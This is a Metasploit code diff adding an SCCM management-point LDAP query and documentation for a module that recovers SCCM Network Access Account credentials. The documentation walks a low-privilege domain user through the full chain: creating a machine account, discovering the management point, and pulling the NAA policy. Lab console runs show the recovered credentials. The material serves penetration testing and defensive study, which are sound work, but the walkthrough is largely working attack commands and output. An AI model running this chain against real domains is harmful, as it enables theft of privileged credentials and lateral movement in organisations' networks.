NAA creds from SCCM

data/auxiliary/gather/ldap_query/ldap_queries_default.yaml

@@ -387,3 +387,12 @@ queries:
     references:
       - https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
       - https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
+  - action: ENUM_SCCM_MANAGEMENT_POINTS
+    description: 'Find all registered SCCM/MECM management points'
+    filter: '(objectclass=mssmsmanagementpoint)'
+    attributes:
+      - cn
+      - dNSHostname
+      - msSMSSiteCode
+    references:
+      - https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md

documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md

@@ -0,0 +1,150 @@
+## NAA Credential Exploitation
+
+The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but 
+in practice is often misconfigured to have excessive privileges.
+
+The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
+it can also be requested by an existing computer account, which by default most user accounts are able to create.
+
+
+## Module usage
+The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
+
+1. From msfconsole
+2. Do: `use auxiliary/admin/dcerpc/samr_account`
+3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
+   a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
+   b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
+   c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
+4. Run the module and see that a new machine account was added
+
+Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used:
+
+1. `use auxiliary/admin/sccm/get_naa_credentials`
+2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used)
+3. Set the `USERNAME` and `PASSWORD` information to a domain account
+4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
+5. Run the module to obtain the NAA credentials, if present.
+
+Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery:
+
+1. `use auxiliary/admin/sccm/get_naa_credentials`
+2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
+3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values.
+4. Run the module to obtain the NAA credentials, if present.
+
+The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
+
+See the Scenarios for a more detailed walk through
+
+## Options
+
+### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
+Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
+
+### COMPUTER_USER, COMPUTER_PASSWORD
+
+Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of
+a computer account, you can use that for COMPUTER_PASSWORD.
+
+### MANAGEMENT_POINT
+The SCCM server.
+
+### SITE_CODE
+The Site Code of the management point.
+
+## Scenarios
+In the following example the user `ssccm.lab\eve` is a low-privilege user.
+
+### Creating computer account
+
+```
+msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
+[*] Running module against 192.168.33.10
+
+[*] 192.168.33.10:445 - Adding computer
+[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$
+[+] 192.168.33.10:445 -   Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
+[+] 192.168.33.10:445 -   SID:      S-1-5-21-3875312677-2561575051-1173664991-1128
+[*] Auxiliary module execution completed
+```
+
+### Running with Autodiscovery
+Using the credentials just obtained with the `samr_account` module.
+
+```
+msf6 auxiliary(admin/sccm/get_naa_credentials) > options
+
+Module options (auxiliary/admin/sccm/get_naa_credentials):
+
+   Name              Current Setting  Required  Description
+   ----              ---------------  --------  -----------
+   COMPUTER_PASS                      yes       The password of the provided computer account
+   COMPUTER_USER                      yes       The username of a computer account
+   MANAGEMENT_POINT                   no        The management point (SCCM server) to use
+   SITE_CODE                          no        The site code to use on the management point
+   SSL               false            no        Enable SSL on the LDAP connection
+   VHOST                              no        HTTP server virtual host
+
+
+   Used when connecting via an existing SESSION:
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   SESSION  1                no        The session to run this module on
+
+
+   Used when making a new connection via RHOSTS:
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   DOMAIN                     no        The domain to authenticate to
+   PASSWORD                   no        The password to authenticate with
+   RHOSTS                     no        The domain controller (for autodiscovery). Not required if providing a management point and site code
+   RPORT     389              no        The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP)
+   USERNAME                   no        The username to authenticate with
+
+
+View the full module info with the info, or info -d command.
+msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
+[*] Running module against 192.168.33.10
+
+[*] Discovering base DN automatically
+[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
+[+] Found Management Point: MECM.sccm.lab (Site code: P01)
+[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
+[*] Waiting 5 seconds for SCCM DB to update...
+[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
+[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
+[*] Auxiliary module execution completed
+```
+
+### Manual discovery
+
+```
+msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou
+[*] Running module against 192.168.33.10
+
+[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
+CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
+=========================================================================
+
+ Name           Attributes
+ ----           ----------
+ cn             SMS-MP-P01-MECM.SCCM.LAB
+ dnshostname    MECM.sccm.lab
+ mssmssitecode  P01
+
+[*] Query returned 1 result.
+[*] Auxiliary module execution completed
+
+msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials
+
+msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01
+
+[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
+[*] Waiting 5 seconds for SCCM DB to update...
+[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
+[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
+[*] Auxiliary module execution completed
+```

lib/msf/core/optional_session.rb

@@ -8,6 +8,12 @@ module Msf
   module OptionalSession
     include Msf::SessionCompatibility
 
+    attr_accessor :session_or_rhost_required
+
+    def session_or_rhost_required?
+      @session_or_rhost_required.nil? ? true : @session_or_rhost_required
+    end
+
     # Validates options depending on whether we are using  SESSION or an RHOST for our connection
     def validate
       super
@@ -18,7 +24,7 @@ def validate
         validate_session
       elsif rhost
         validate_rhost
-      else
+      elsif session_or_rhost_required?
         raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided')
       end
     end